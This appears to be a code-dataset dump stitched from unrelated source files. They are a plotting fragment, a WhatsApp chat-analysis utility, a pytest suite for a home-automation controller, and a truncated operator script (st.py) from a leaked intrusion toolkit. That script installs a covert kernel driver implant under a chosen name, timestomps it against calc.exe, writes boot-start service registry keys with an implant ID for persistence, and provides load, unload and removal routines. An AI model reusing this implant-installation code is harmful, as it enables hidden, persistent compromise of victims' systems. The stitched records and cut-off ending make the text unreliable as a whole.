enumerate(path): globals().update(load_data(result_data_path)) ax.plot(Ls[1:], n2, '.', label=r'$\beta = %2.2f$' % beta, color=cm.viridis(float(i) / len(path))) ax.legend(loc='best') ax.set_title('Averaged number of the sites on the cutting edges which \ is connected to two neighbors.' + ' (sample: {})'.format(num_of_strings)) ax.set_xlabel(r'Cutting size $L$') ax.set_ylabel(r'$n_{2}$') plt.show() if __name__ == '__main__': result_n2(set_data_path.data_path)
true
true
f71f43905fef44930da68b9f376cd5256acc1683
11,661
py
Python
WhatsappAnalysis/utils.py
bagdeabhishek/WhatsappAnalysis
a4c53f2787db9748dc77ebe420efa94242205911
[ "MIT" ]
null
null
null
WhatsappAnalysis/utils.py
bagdeabhishek/WhatsappAnalysis
a4c53f2787db9748dc77ebe420efa94242205911
[ "MIT" ]
null
null
null
WhatsappAnalysis/utils.py
bagdeabhishek/WhatsappAnalysis
a4c53f2787db9748dc77ebe420efa94242205911
[ "MIT" ]
null
null
null
import pandas as pd from datetime import datetime from emoji import UNICODE_EMOJI from tqdm import tqdm import logging from collections import Counter from wordcloud import WordCloud, STOPWORDS import matplotlib as plt import nltk import seaborn as sns import string from functools import reduce import networkx as nx from sklearn.feature_extraction.text import TfidfTransformer from sklearn.feature_extraction.text import CountVectorizer from sklearn.feature_extraction.text import TfidfVectorizer nltk.download('punkt') nltk.download('averaged_perceptron_tagger') logging.basicConfig(filename="log", level=logging.DEBUG, format="%(asctime)s - %(levelname)s - %(message)s") def get_data(path="/content/drive/My Drive/colab_data/WhatsApp Chat with YJHD 😂.txt"): """ This is utility funcion to read the WhatsApp Chats and extract relevant data :param path: The path of the WhatsApp Chat :type path: String :return: A pandas Dataframe of all the relevant information :rtype: pd.DataFrame """ ls_rows = [] try: with open(path) as f: for line in tqdm(f): message_from = None message_text = None media = False emojis = [] clean_text = "" mention = None list_to_exclude = ["https", "This message was deleted", "<Media omitted>"] split_line = line.split(" - ") try: date = datetime.strptime(split_line[0], "%d/%m/%y, %H:%M") except ValueError as e: logging.debug("Not a Date: " + split_line[0] + " Exception: " + str(e)) continue message_split = split_line[1].split(":") if len(message_split) > 1: message_from = message_split[0] message_text = message_split[1].strip() if "<Media omitted>" in message_text: media = True if any(exclude in message_text for exclude in list_to_exclude): message_text = None else: if "@" in message_text: new_message = "" for word in message_text.split(): if word.startswith("@"): mention = word continue new_message += word message_text = new_message for character in message_text: if character in UNICODE_EMOJI: emojis.append(character) else: clean_text += character clean_text = None if clean_text.strip() == "" else clean_text emojis = None if len(emojis) < 1 else ','.join(emojis) POS = __get_relevant_words(clean_text) ls_rows.append((date, message_from, message_text, media, emojis, clean_text, mention, POS)) df = pd.DataFrame(ls_rows, columns=["time", "from", "text", "media", "emojis", "clean_text", "mention", "POS"]) df.dropna(subset=['text'], inplace=True) return df except Exception as e: print("Critical Exception " + str(e)) return def __get_relevant_words(sentence): """ Extracts words which are Nouns or Foreign Words only. Mostly relevant for clean Word cloud :param sentence: This sentence from which to extract relevant words :type sentence: String :return: A string of relevant words :rtype: String """ nouns = None try: if sentence: tokens = nltk.word_tokenize(sentence) pos = nltk.pos_tag(tokens) nouns = [x[0] for x in pos if x[1].startswith('N') or x[1].startswith('F')] except Exception as e: nouns = None return ' '.join(nouns) if nouns else None def get_word_freq_dict(df_col): """ Get word frequency dictionary from a DataFrame Column :param df_col: The column from which to generate word frequency dictionary :type df_col: DataFrame :return: Dictionary where key is the word and value is the frequency :rtype: Dict """ results = Counter() df_col.str.lower().str.split().apply(results.update) results = sorted(results.items(), key=lambda item: item[1], reverse=True) d = {} for word, freq in results: d[word] = freq return d def plot_word_cloud(word_freq_dict, stopwords=STOPWORDS, background_color="white", width=800, height=1000, max_words=300, figsize=(50, 50)): """ Display the Word Cloud using Matplotlib :param word_freq_dict: Dictionary of word frequencies :type word_freq_dict: Dict :return: None :rtype: None """ word_cloud = WordCloud(stopwords=stopwords, background_color=background_color, width=width, height=height, max_words=max_words).generate_from_frequencies(frequencies=word_freq_dict) plt.figure(figsize=figsize) plt.imshow(word_cloud, interpolation='bilinear') plt.axis("off") plt.show() def top_emojis(df, name): """ Get the top emojis used by a user. (NO USE NOW) :param df: The Dataframe with user name and emoji :type df: DataFrame :param name: Name of the user for which to find the top emojis used :type name: String :return: list of tuples with (emoji, frequency in the chat) in sorted order :rtype: list """ counter = Counter() df.loc[df["from"] == name]["emojis"].str.split(",").apply(counter.update) counter = (sorted(counter.items(), key=lambda x: x[1], reverse=True)) return counter def clean_data(df, new_name=None): """ Clean the given data and perform basic cleaning operations :param df: The DataFrame extracted from given whatsapp chats :type df: DataFrame :param new_name: list of names if you want to replace senders name to something shorter :type new_name: List :return: Cleaned DataFrame :rtype: DataFrame """ if new_name: original_name = df["from"].unique().tolist() df.replace(original_name, new_name, inplace=True) df.dropna(subset=['text'], inplace=True) df.set_index('time', inplace=True, drop=False) return df def plot_message_counts(df, size=(20, 4), freq='d'): """ Get the statistics of messages sampled by day :param freq: String representing the sampling frequencies (refer:https://pandas.pydata.org/pandas-docs/stable/user_guide/timeseries.html#offset-aliases) :type freq: String :param size: Size of the generated plot :type size: tuple(height,width) :param df: The extracted Dataframe :type df: DataFrame :return: :rtype: """ df_resampled = df.resample(freq) sns.set(rc={'figure.figsize': size}) df_resampled.count().plot(linewidth=0.5) def plot_tfidf_word_cloud(df, size=(20, 5) ,agg ='from', axs): df_agg = df.groupby(agg) df_words = df_agg.POS.apply(__get_string_from_columns) tfidf_vectorizer = TfidfVectorizer(use_idf=True, sublinear_tf=True) vsc = tfidf_vectorizer.fit_transform(df_words.to_list()) for a in vsc: pd_vector = pd.DataFrame(a.T.todense(), index=tfidf_vectorizer.get_feature_names(), columns=["tfidf"]) pd_vector = pd_vector.sort_values(by=["tfidf"], ascending=False).to_dict()['tfidf'] plot_word_cloud(pd_vector,figsize=size) return vsc def group_by_time(df, period=None, plot=True): """ Group the whole data by a time period and return the description :param plot: :type plot: :param df: :type df: :param period: :type period: :return: :rtype: """ if not period: period = df.time.dt.day description = df.groupby(period).describe() ls_from = description['from'] ls_text = description['clean_text'] if plot: fig, axs = plt.subplots(ncols=3) plot_emoji_heatmap(df, agg=period, axs=axs[0]) # Plot daily emoji use heat map plot_no_of_emojis(df, agg=period, axs=axs[1]) plot_tfidf_word_cloud(df, agg=period, axs=axs[2]) # add the plot function for tfidf based word clouds for wach category ()code mixed is aprobelm definitely def plot_emoji_heatmap(df, size=(20, 5), agg='from', axs=None): """ Plot an emoji heatmap according to the specified column passed as agg parameter Eg. if agg='From' this plots a heatmap according to the smileys/emojis used by a person if agg= df.time.dt.hour will give a heatmap of emojis used at some time of the hour :param axs: :type axs: :param df: :type df: :param size: :type size: :param agg: :type agg: :return: :rtype: """ df_smiley = df.groupby(agg)['emojis'].agg(['count', __custom_smiley_aggregator]) ls_smiley = [] for x in df_smiley.itertuples(): for smiley, count in x._2: ls_smiley.append((x.Index, smiley, count)) df_smiley_reduced = pd.DataFrame(ls_smiley, columns=["agg", "smiley", "count"]) df_smiley_reduced = df_smiley_reduced.pivot_table('count', ['agg'], 'smiley').fillna(0) sns.set(rc={'figure.figsize': size}) sns.heatmap(df_smiley_reduced.transpose(), cmap="Blues", ax=axs) def get_busiest_day_stats(df, wordcloud=True): """ Get the stats of the busiest day (day with most messages). Optionally generate a wordcloud of the words used. :param df: :type df: :param wordcloud: :type wordcloud: :return: :rtype: """ df_grouped_by_date = df.groupby(df.time.dt.date) max_chats_day = df_grouped_by_date.count()['clean_text'].idxmax() day_of_max_chats = df_grouped_by_date.get_group(max_chats_day) if wordcloud: frequency_list = day_of_max_chats['clean_text'].agg(['count', __custom_words_accumulator])[ '__custom_words_accumulator'] frequency_dict = dict(frequency_list) plot_word_cloud(frequency_dict) return day_of_max_chats.describe().transpose() def plot_no_of_emojis(df, agg='from', axs=None): agg_df = df.groupby(agg)['emojis'].agg(count_emoji=(__custom_smiley_count_aggregator)) sns.barplot(x=agg_df.index, y="count_emoji", data=agg_df, ax=axs) def __custom_smiley_count_aggregator(series): s = set() for x in series.tolist(): if x: for y in x.split(','): s.update(y) return len(s) def __custom_smiley_count_aggregator(series): s = set() for x in series.tolist(): if x: for y in x.split(','): s.update(y) return len(s) def __custom_smiley_aggregator(series): c = Counter() for x in series.tolist(): if x: for smiley in x.split(','): c.update(smiley) return c.most_common(5) def __custom_words_accumulator(series): c = Counter() for sentence in series: if sentence: sentence = sentence.lower() # Convert all text to lower case sentence = sentence.translate(str.maketrans('', '', string.punctuation)) # Remove punctuations c.update(sentence.split()) return c.most_common() def __get_string_from_columns(series): agg_string = " " for string in series: if string: for word in string.split(): if len(word) > 3: agg_string += " " + word.lower() return agg_string
35.66055
156
0.620101
import pandas as pd from datetime import datetime from emoji import UNICODE_EMOJI from tqdm import tqdm import logging from collections import Counter from wordcloud import WordCloud, STOPWORDS import matplotlib as plt import nltk import seaborn as sns import string from functools import reduce import networkx as nx from sklearn.feature_extraction.text import TfidfTransformer from sklearn.feature_extraction.text import CountVectorizer from sklearn.feature_extraction.text import TfidfVectorizer nltk.download('punkt') nltk.download('averaged_perceptron_tagger') logging.basicConfig(filename="log", level=logging.DEBUG, format="%(asctime)s - %(levelname)s - %(message)s") def get_data(path="/content/drive/My Drive/colab_data/WhatsApp Chat with YJHD 😂.txt"): """ This is utility funcion to read the WhatsApp Chats and extract relevant data :param path: The path of the WhatsApp Chat :type path: String :return: A pandas Dataframe of all the relevant information :rtype: pd.DataFrame """ ls_rows = [] try: with open(path) as f: for line in tqdm(f): message_from = None message_text = None media = False emojis = [] clean_text = "" mention = None list_to_exclude = ["https", "This message was deleted", "<Media omitted>"] split_line = line.split(" - ") try: date = datetime.strptime(split_line[0], "%d/%m/%y, %H:%M") except ValueError as e: logging.debug("Not a Date: " + split_line[0] + " Exception: " + str(e)) continue message_split = split_line[1].split(":") if len(message_split) > 1: message_from = message_split[0] message_text = message_split[1].strip() if "<Media omitted>" in message_text: media = True if any(exclude in message_text for exclude in list_to_exclude): message_text = None else: if "@" in message_text: new_message = "" for word in message_text.split(): if word.startswith("@"): mention = word continue new_message += word message_text = new_message for character in message_text: if character in UNICODE_EMOJI: emojis.append(character) else: clean_text += character clean_text = None if clean_text.strip() == "" else clean_text emojis = None if len(emojis) < 1 else ','.join(emojis) POS = __get_relevant_words(clean_text) ls_rows.append((date, message_from, message_text, media, emojis, clean_text, mention, POS)) df = pd.DataFrame(ls_rows, columns=["time", "from", "text", "media", "emojis", "clean_text", "mention", "POS"]) df.dropna(subset=['text'], inplace=True) return df except Exception as e: print("Critical Exception " + str(e)) return def __get_relevant_words(sentence): """ Extracts words which are Nouns or Foreign Words only. Mostly relevant for clean Word cloud :param sentence: This sentence from which to extract relevant words :type sentence: String :return: A string of relevant words :rtype: String """ nouns = None try: if sentence: tokens = nltk.word_tokenize(sentence) pos = nltk.pos_tag(tokens) nouns = [x[0] for x in pos if x[1].startswith('N') or x[1].startswith('F')] except Exception as e: nouns = None return ' '.join(nouns) if nouns else None def get_word_freq_dict(df_col): """ Get word frequency dictionary from a DataFrame Column :param df_col: The column from which to generate word frequency dictionary :type df_col: DataFrame :return: Dictionary where key is the word and value is the frequency :rtype: Dict """ results = Counter() df_col.str.lower().str.split().apply(results.update) results = sorted(results.items(), key=lambda item: item[1], reverse=True) d = {} for word, freq in results: d[word] = freq return d def plot_word_cloud(word_freq_dict, stopwords=STOPWORDS, background_color="white", width=800, height=1000, max_words=300, figsize=(50, 50)): """ Display the Word Cloud using Matplotlib :param word_freq_dict: Dictionary of word frequencies :type word_freq_dict: Dict :return: None :rtype: None """ word_cloud = WordCloud(stopwords=stopwords, background_color=background_color, width=width, height=height, max_words=max_words).generate_from_frequencies(frequencies=word_freq_dict) plt.figure(figsize=figsize) plt.imshow(word_cloud, interpolation='bilinear') plt.axis("off") plt.show() def top_emojis(df, name): """ Get the top emojis used by a user. (NO USE NOW) :param df: The Dataframe with user name and emoji :type df: DataFrame :param name: Name of the user for which to find the top emojis used :type name: String :return: list of tuples with (emoji, frequency in the chat) in sorted order :rtype: list """ counter = Counter() df.loc[df["from"] == name]["emojis"].str.split(",").apply(counter.update) counter = (sorted(counter.items(), key=lambda x: x[1], reverse=True)) return counter def clean_data(df, new_name=None): """ Clean the given data and perform basic cleaning operations :param df: The DataFrame extracted from given whatsapp chats :type df: DataFrame :param new_name: list of names if you want to replace senders name to something shorter :type new_name: List :return: Cleaned DataFrame :rtype: DataFrame """ if new_name: original_name = df["from"].unique().tolist() df.replace(original_name, new_name, inplace=True) df.dropna(subset=['text'], inplace=True) df.set_index('time', inplace=True, drop=False) return df def plot_message_counts(df, size=(20, 4), freq='d'): """ Get the statistics of messages sampled by day :param freq: String representing the sampling frequencies (refer:https://pandas.pydata.org/pandas-docs/stable/user_guide/timeseries.html#offset-aliases) :type freq: String :param size: Size of the generated plot :type size: tuple(height,width) :param df: The extracted Dataframe :type df: DataFrame :return: :rtype: """ df_resampled = df.resample(freq) sns.set(rc={'figure.figsize': size}) df_resampled.count().plot(linewidth=0.5) def plot_tfidf_word_cloud(df, size=(20, 5) ,agg ='from', axs): df_agg = df.groupby(agg) df_words = df_agg.POS.apply(__get_string_from_columns) tfidf_vectorizer = TfidfVectorizer(use_idf=True, sublinear_tf=True) vsc = tfidf_vectorizer.fit_transform(df_words.to_list()) for a in vsc: pd_vector = pd.DataFrame(a.T.todense(), index=tfidf_vectorizer.get_feature_names(), columns=["tfidf"]) pd_vector = pd_vector.sort_values(by=["tfidf"], ascending=False).to_dict()['tfidf'] plot_word_cloud(pd_vector,figsize=size) return vsc def group_by_time(df, period=None, plot=True): """ Group the whole data by a time period and return the description :param plot: :type plot: :param df: :type df: :param period: :type period: :return: :rtype: """ if not period: period = df.time.dt.day description = df.groupby(period).describe() ls_from = description['from'] ls_text = description['clean_text'] if plot: fig, axs = plt.subplots(ncols=3) plot_emoji_heatmap(df, agg=period, axs=axs[0]) plot_no_of_emojis(df, agg=period, axs=axs[1]) plot_tfidf_word_cloud(df, agg=period, axs=axs[2]) def plot_emoji_heatmap(df, size=(20, 5), agg='from', axs=None): """ Plot an emoji heatmap according to the specified column passed as agg parameter Eg. if agg='From' this plots a heatmap according to the smileys/emojis used by a person if agg= df.time.dt.hour will give a heatmap of emojis used at some time of the hour :param axs: :type axs: :param df: :type df: :param size: :type size: :param agg: :type agg: :return: :rtype: """ df_smiley = df.groupby(agg)['emojis'].agg(['count', __custom_smiley_aggregator]) ls_smiley = [] for x in df_smiley.itertuples(): for smiley, count in x._2: ls_smiley.append((x.Index, smiley, count)) df_smiley_reduced = pd.DataFrame(ls_smiley, columns=["agg", "smiley", "count"]) df_smiley_reduced = df_smiley_reduced.pivot_table('count', ['agg'], 'smiley').fillna(0) sns.set(rc={'figure.figsize': size}) sns.heatmap(df_smiley_reduced.transpose(), cmap="Blues", ax=axs) def get_busiest_day_stats(df, wordcloud=True): """ Get the stats of the busiest day (day with most messages). Optionally generate a wordcloud of the words used. :param df: :type df: :param wordcloud: :type wordcloud: :return: :rtype: """ df_grouped_by_date = df.groupby(df.time.dt.date) max_chats_day = df_grouped_by_date.count()['clean_text'].idxmax() day_of_max_chats = df_grouped_by_date.get_group(max_chats_day) if wordcloud: frequency_list = day_of_max_chats['clean_text'].agg(['count', __custom_words_accumulator])[ '__custom_words_accumulator'] frequency_dict = dict(frequency_list) plot_word_cloud(frequency_dict) return day_of_max_chats.describe().transpose() def plot_no_of_emojis(df, agg='from', axs=None): agg_df = df.groupby(agg)['emojis'].agg(count_emoji=(__custom_smiley_count_aggregator)) sns.barplot(x=agg_df.index, y="count_emoji", data=agg_df, ax=axs) def __custom_smiley_count_aggregator(series): s = set() for x in series.tolist(): if x: for y in x.split(','): s.update(y) return len(s) def __custom_smiley_count_aggregator(series): s = set() for x in series.tolist(): if x: for y in x.split(','): s.update(y) return len(s) def __custom_smiley_aggregator(series): c = Counter() for x in series.tolist(): if x: for smiley in x.split(','): c.update(smiley) return c.most_common(5) def __custom_words_accumulator(series): c = Counter() for sentence in series: if sentence: sentence = sentence.lower() sentence = sentence.translate(str.maketrans('', '', string.punctuation)) c.update(sentence.split()) return c.most_common() def __get_string_from_columns(series): agg_string = " " for string in series: if string: for word in string.split(): if len(word) > 3: agg_string += " " + word.lower() return agg_string
false
true
f71f444c99957dbabf46b27acb422416484d481f
2,721
py
Python
tests/core/type_controller_test.py
fedebruni84/controllerx
922361b9a590d7483405ec26ed1d553798b7ed7f
[ "MIT" ]
null
null
null
tests/core/type_controller_test.py
fedebruni84/controllerx
922361b9a590d7483405ec26ed1d553798b7ed7f
[ "MIT" ]
null
null
null
tests/core/type_controller_test.py
fedebruni84/controllerx
922361b9a590d7483405ec26ed1d553798b7ed7f
[ "MIT" ]
null
null
null
import pytest from cx_core.controller import TypeController class FakeTypeController(TypeController): def get_domain(self): return "domain" @pytest.fixture def sut(hass_mock): c = FakeTypeController() c.args = {} return c # All entities from '{entity}' must be from {domain} domain (e.g. {domain}.bedroom) # '{entity}' must be from {domain} domain (e.g. {domain}.bedroom) @pytest.mark.parametrize( "entity, domain, entities, error_expected", [ ("light.kitchen", "light", [], False), ("light1.kitchen", "light", [], True,), ("media_player.kitchen", "light", [], True,), ("media_player.bedroom", "media_player", [], False), ("group.all_lights", "light", ["light.light1", "light.light2"], False), ("group.all_lights", "light", ["light1.light1", "light2.light2"], True), ("group.all", "media_player", ["media_player.test", "light.test"], True), ], ) @pytest.mark.asyncio async def test_check_domain( sut, mocker, monkeypatch, entity, domain, entities, error_expected ): expected_error_message = "" if error_expected: if entities == []: expected_error_message = ( f"'{entity}' must be from {domain} domain (e.g. {domain}.bedroom)" ) else: expected_error_message = f"All entities from '{entity}' must be from {domain} domain (e.g. {domain}.bedroom)" async def fake_get_state(*args, **kwargs): return entities monkeypatch.setattr(sut, "get_state", fake_get_state) monkeypatch.setattr(sut, "get_domain", lambda *args: domain) if error_expected: with pytest.raises(ValueError) as e: await sut.check_domain(entity) assert str(e.value) == expected_error_message else: await sut.check_domain(entity) @pytest.mark.parametrize( "entity_input, expected_calls", [("light.kitchen", 1), ("group.lights", 2)], ) @pytest.mark.asyncio async def test_get_entity_state(sut, mocker, monkeypatch, entity_input, expected_calls): stub_get_state = mocker.stub() async def fake_get_state(entity, attribute=None): stub_get_state(entity, attribute=attribute) return ["entity.test"] monkeypatch.setattr(sut, "get_state", fake_get_state) # SUT await sut.get_entity_state(entity_input, "attribute_test") # Checks if expected_calls == 1: stub_get_state.assert_called_once_with(entity_input, attribute="attribute_test") elif expected_calls == 2: stub_get_state.call_count == 2 stub_get_state.assert_any_call(entity_input, attribute="entity_id") stub_get_state.assert_any_call("entity.test", attribute="attribute_test")
32.392857
121
0.660051
import pytest from cx_core.controller import TypeController class FakeTypeController(TypeController): def get_domain(self): return "domain" @pytest.fixture def sut(hass_mock): c = FakeTypeController() c.args = {} return c @pytest.mark.parametrize( "entity, domain, entities, error_expected", [ ("light.kitchen", "light", [], False), ("light1.kitchen", "light", [], True,), ("media_player.kitchen", "light", [], True,), ("media_player.bedroom", "media_player", [], False), ("group.all_lights", "light", ["light.light1", "light.light2"], False), ("group.all_lights", "light", ["light1.light1", "light2.light2"], True), ("group.all", "media_player", ["media_player.test", "light.test"], True), ], ) @pytest.mark.asyncio async def test_check_domain( sut, mocker, monkeypatch, entity, domain, entities, error_expected ): expected_error_message = "" if error_expected: if entities == []: expected_error_message = ( f"'{entity}' must be from {domain} domain (e.g. {domain}.bedroom)" ) else: expected_error_message = f"All entities from '{entity}' must be from {domain} domain (e.g. {domain}.bedroom)" async def fake_get_state(*args, **kwargs): return entities monkeypatch.setattr(sut, "get_state", fake_get_state) monkeypatch.setattr(sut, "get_domain", lambda *args: domain) if error_expected: with pytest.raises(ValueError) as e: await sut.check_domain(entity) assert str(e.value) == expected_error_message else: await sut.check_domain(entity) @pytest.mark.parametrize( "entity_input, expected_calls", [("light.kitchen", 1), ("group.lights", 2)], ) @pytest.mark.asyncio async def test_get_entity_state(sut, mocker, monkeypatch, entity_input, expected_calls): stub_get_state = mocker.stub() async def fake_get_state(entity, attribute=None): stub_get_state(entity, attribute=attribute) return ["entity.test"] monkeypatch.setattr(sut, "get_state", fake_get_state) await sut.get_entity_state(entity_input, "attribute_test") if expected_calls == 1: stub_get_state.assert_called_once_with(entity_input, attribute="attribute_test") elif expected_calls == 2: stub_get_state.call_count == 2 stub_get_state.assert_any_call(entity_input, attribute="entity_id") stub_get_state.assert_any_call("entity.test", attribute="attribute_test")
true
true
f71f44a321fd824b78d2d33fb80918534e6a7c37
16,202
py
Python
Vault7/Lost-in-Translation/windows/Resources/Ops/PyScripts/st.py
dendisuhubdy/grokmachine
120a21a25c2730ed356739231ec8b99fc0575c8b
[ "BSD-3-Clause" ]
46
2017-05-15T11:15:08.000Z
2018-07-02T03:32:52.000Z
Vault7/Lost-in-Translation/windows/Resources/Ops/PyScripts/st.py
dendisuhubdy/grokmachine
120a21a25c2730ed356739231ec8b99fc0575c8b
[ "BSD-3-Clause" ]
null
null
null
Vault7/Lost-in-Translation/windows/Resources/Ops/PyScripts/st.py
dendisuhubdy/grokmachine
120a21a25c2730ed356739231ec8b99fc0575c8b
[ "BSD-3-Clause" ]
24
2017-05-17T03:26:17.000Z
2018-07-09T07:00:50.000Z
import ops, ops.menu, ops.data, ops.cmd import dsz, dsz.ui, dsz.version, dsz.windows import os.path from random import randint stVersion = '1.14' def getimplantID(): id = int(randint(0, 4294967295L)) return id def regadd(regaddcommand): value = None if ('value' in regaddcommand.optdict): value = regaddcommand.optdict['value'] else: value = regaddcommand.optdict['key'] (safe, reason) = regaddcommand.safetyCheck() if (not safe): dsz.ui.Echo(('Cannot execute the registryadd command (for value %s) because of a failed safety check: \n%s' % (value, reason)), dsz.ERROR) return 0 regaddres = regaddcommand.execute() if regaddcommand.success: dsz.ui.Echo(('Successfully added %s key.' % value), dsz.GOOD) return 1 else: dsz.ui.Echo(('Failed to add %s key!' % value), dsz.ERROR) return 0 def install(passed_menu=None): optdict = passed_menu.all_states() if verifyinstalled(passed_menu): dsz.ui.Echo('ST looks like it is already installed!', dsz.ERROR) return 0 drivername = optdict['Configuration']['Driver Name'] implantID = optdict['Configuration']['Implant ID'] dsz.ui.Echo(('==Installing %s==' % drivername), dsz.WARNING) localdriverpath = os.path.join(ops.RESDIR, 'ST1.14', 'mstcp32.sys') if verifydriver(passed_menu): if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 else: putcmd = ops.cmd.getDszCommand(('put %s -name %s -permanent' % (localdriverpath, os.path.join(dsz.path.windows.GetSystemPath(), 'drivers', ('%s.sys' % drivername))))) (safe, reason) = putcmd.safetyCheck() if (not safe): dsz.ui.Echo(('Cannot execute the put command because of a failed safety check: \n%s' % reason), dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 putres = putcmd.execute() if putcmd.success: dsz.ui.Echo(('Successfully put ST up as %s.' % drivername), dsz.GOOD) else: dsz.ui.Echo(('Put of ST as %s failed!' % drivername), dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 matchfiletimescmd = ops.cmd.getDszCommand('matchfiletimes', src=os.path.join(dsz.path.windows.GetSystemPath(), 'calc.exe'), dst=os.path.join(dsz.path.windows.GetSystemPath(), 'drivers', ('%s.sys' % drivername))) (safe, reason) = matchfiletimescmd.safetyCheck() if (not safe): dsz.ui.Echo(('Cannot execute the matchfiletimes command because of a failed safety check: \n%s' % reason), dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 matchfiletimesres = matchfiletimescmd.execute() if matchfiletimescmd.success: dsz.ui.Echo('Successfully matchfiletimes ST against calc.exe.', dsz.GOOD) else: dsz.ui.Echo('Failed to matchfiletimes ST against calc.exe!', dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if (not regadd(ops.cmd.getDszCommand('registryadd', hive='l', key=('system\\CurrentControlSet\\Services\\%s' % drivername)))): dsz.ui.Echo('Failed to add key, verify installation!', dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if (not regadd(ops.cmd.getDszCommand('registryadd', hive='l', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='ErrorControl', type='REG_DWORD', data='0'))): dsz.ui.Echo('Failed to add key, verify installation!', dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if (not regadd(ops.cmd.getDszCommand('registryadd', hive='l', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='Start', type='REG_DWORD', data='2'))): dsz.ui.Echo('Failed to add key, verify installation!', dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if (not regadd(ops.cmd.getDszCommand('registryadd', hive='l', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='Type', type='REG_DWORD', data='1'))): dsz.ui.Echo('Failed to add key, verify installation!', dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if (not regadd(ops.cmd.getDszCommand('registryadd', hive='l', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='Options', type='REG_BINARY', data='"0a 00 00 00 40 01 00 00 06 00 00 00 21 00 00 00 04 00 00 00 00 02 00 00 01 00 00 00 21 00 00 00 00 00 00 00 06 04 00 00 cb 34 00 00 00 07 00 00 00 00 00 00 21 00 00 00 00 00 00 00 06 04 00 00 34 cb 00 00 20 05 0a 00 01 00 00 00 00 06 00 00 01 00 00 00"'))): dsz.ui.Echo('Failed to add key, verify installation!', dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if (not regadd(ops.cmd.getDszCommand('registryadd', hive='l', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='Params', type='REG_DWORD', data=('"0x%08x"' % implantID)))): dsz.ui.Echo('Failed to add key, verify installation!', dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if (not verifyinstalled(passed_menu)): dsz.ui.Echo('ST failed to install properly!', dsz.ERROR) return 0 else: dsz.ui.Echo("ST installed properly! Don't forget to load the driver, if necessary.", dsz.GOOD) return 1 def uninstall(passed_menu=None): optdict = passed_menu.all_states() drivername = optdict['Configuration']['Driver Name'] dsz.ui.Echo(('==Uninstalling %s==' % drivername), dsz.WARNING) if (not verifyinstalled(passed_menu)): dsz.ui.Echo("ST doesn't seem to be properly installed!", dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if verifyrunning(passed_menu): dsz.ui.Echo('ST running, attempting to unload.') if (not unload(passed_menu)): dsz.ui.Echo('Could not unload ST!', dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 else: dsz.ui.Echo('Successfully unload ST', dsz.GOOD) deletecmd = ops.cmd.getDszCommand('delete', file=os.path.join(dsz.path.windows.GetSystemPath(), 'drivers', ('%s.sys' % drivername))) (safe, reason) = deletecmd.safetyCheck() if (not safe): dsz.ui.Echo(('Cannot execute the delete command because of a failed safety check: \n%s' % reason), dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 deleteres = deletecmd.execute() if (not deletecmd.success): dsz.ui.Echo(('Could not delete ST driver (%s)!.' % drivername), dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 else: dsz.ui.Echo(('Delete of ST driver (%s) successful.' % drivername), dsz.GOOD) regdelcmd = ops.cmd.getDszCommand('registrydelete', hive='l', key=('system\\CurrentControlSet\\Services\\%s' % drivername), recursive=True) (safe, reason) = regdelcmd.safetyCheck() if (not safe): dsz.ui.Echo(('Cannot execute the registrydelete command because of a failed safety check: \n%s' % reason), dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 regdelres = regdelcmd.execute() if (not regdelcmd.success): dsz.ui.Echo('Could not delete the ST registry keys!.', dsz.ERROR) else: dsz.ui.Echo('Delete of ST registry keys successful.', dsz.GOOD) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if (not verifyinstalled(passed_menu)): dsz.ui.Echo('ST successfully uninstalled!', dsz.GOOD) return 1 else: dsz.ui.Echo('ST uninstall failed!', dsz.ERROR) return 0 def load(passed_menu=None): optdict = passed_menu.all_states() drivername = optdict['Configuration']['Driver Name'] dsz.ui.Echo(('==Loading %s==' % drivername), dsz.WARNING) drivercmd = ops.cmd.getDszCommand('drivers', load=drivername) (safe, reason) = drivercmd.safetyCheck() if (not safe): dsz.ui.Echo(('Cannot execute the load command because of a failed safety check: \n%s' % reason), dsz.ERROR) return 0 driverres = drivercmd.execute() if (not drivercmd.success): dsz.ui.Echo(('Driver %s was NOT successfully loaded!' % drivername), dsz.ERROR) return 0 else: dsz.ui.Echo(('Driver %s was successfully loaded!' % drivername), dsz.GOOD) return 1 verifyrunning(passed_menu) def unload(passed_menu=None): optdict = passed_menu.all_states() drivername = optdict['Configuration']['Driver Name'] dsz.ui.Echo(('==Unloading %s==' % drivername), dsz.WARNING) drivercmd = ops.cmd.getDszCommand('drivers', unload=drivername) (safe, reason) = drivercmd.safetyCheck() if (not safe): dsz.ui.Echo(('Cannot execute the unload command because of a failed safety check: \n%s' % reason), dsz.ERROR) return 0 driverres = drivercmd.execute() if (not drivercmd.success): dsz.ui.Echo(('Driver %s was NOT successfully unloaded!' % drivername), dsz.ERROR) return 0 else: dsz.ui.Echo(('Driver %s was successfully unloaded!' % drivername), dsz.GOOD) return 1 verifyrunning(passed_menu) def verifydriver(passed_menu=None): optdict = passed_menu.all_states() drivername = optdict['Configuration']['Driver Name'] dsz.ui.Echo(('==Checking to see driver %s exists on disk==' % drivername), dsz.WARNING) permissionscmd = ops.cmd.getDszCommand('permissions', file=os.path.join(dsz.path.windows.GetSystemPath(), 'drivers', 